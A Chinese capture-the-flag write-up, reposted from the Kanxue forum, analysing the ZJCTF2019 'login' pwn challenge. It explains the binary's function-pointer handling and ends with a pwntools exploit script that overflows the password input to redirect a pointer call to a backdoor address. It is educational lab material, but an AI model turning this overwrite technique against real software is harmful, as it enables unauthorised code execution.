本文为看雪论坛优秀文章
看雪论坛作者ID:N1co5in3
题目复现

先checksec,存在canary。

主函数如下,一眼可以得到密码,下面会慢慢分析。

首先是16行的Admin的构造函数,调用了User的构造函数。
User构建的结构体,包含0x401170处的get_password函数的指针,传入的用户名与密码,它们的上限大小都是0x50。
后续可能存在函数指针的利用。


接着看主函数25行的User::read_name,读取输入的0x49个字符,然后赋值给bss段的login+1处,login是一个全局User结构体,实现了名字读入。


接着到了本题的重点,指针v3(实际只被寄存器暂存)存储函数指针main::{lambda(void)#1}::operator,然后经过password_checker得到二级指针v7。


查看password_checker,3*8的数组v2中,在v2处存储了a1(主函数的v3)指针。

看汇编语言更为直观,rax存储了[rbp-0x18]处的地址。

接着是read_password函数,与read_name函数基本一致。

get_password函数很简单。

在看最后的password_checker()前,我们用正确密码测试文件,显示段错误。

查看password_checker,login与admin的密码比较后,来了个奇葩的有毒打印,接着前面的二级函数终于被调用了。

我们需要知道报错原因,gdb调试发现正好是二级指针调用出错。



此外题目中有现成后门。
因此这题的漏洞基本算是送到脸上了,但对汇编不了解的我硬是做了两天。
利用思路
调试过程

此处与我们初步调试的结果相同,rax的来源是[rbp-0x18]的地址(我原来不明白lea的意思……想了很久)。在最终二级指针调用时,会获得rbp-0x18的值,再获得[rbp-0x18]内的地址。我们可以覆盖后面子函数中[rbp-0x18]的值。
payload
from pwn import *
context.log_level = 'debug'
io = process('./login')
#io = remote('node4.buuoj.cn',25895)
#pause()
#gdb.attach(io, 'b *0x400b42')
io.sendlineafter('username: ', 'admin')
payload = b'2jctf_pa5sw0rdx00'.ljust(0x48, b'x61') + p64(0x400e88)
io.sendafter('password', payload)
io.interactive()
总结
1、通过本题,熟悉了ida中根据汇编进行调试的过程,不再局限于c语言代码获取信息。
2、对二级指针,函数传参选择地址还是数据的理解加深。
3、若测试题目时出现段错误,务必追踪段错误的原因,很可能就是解题关键。
看雪ID:N1co5in3
https://bbs.pediy.com/user-home-945391.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):pwn题ZJCTF2019 login的分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论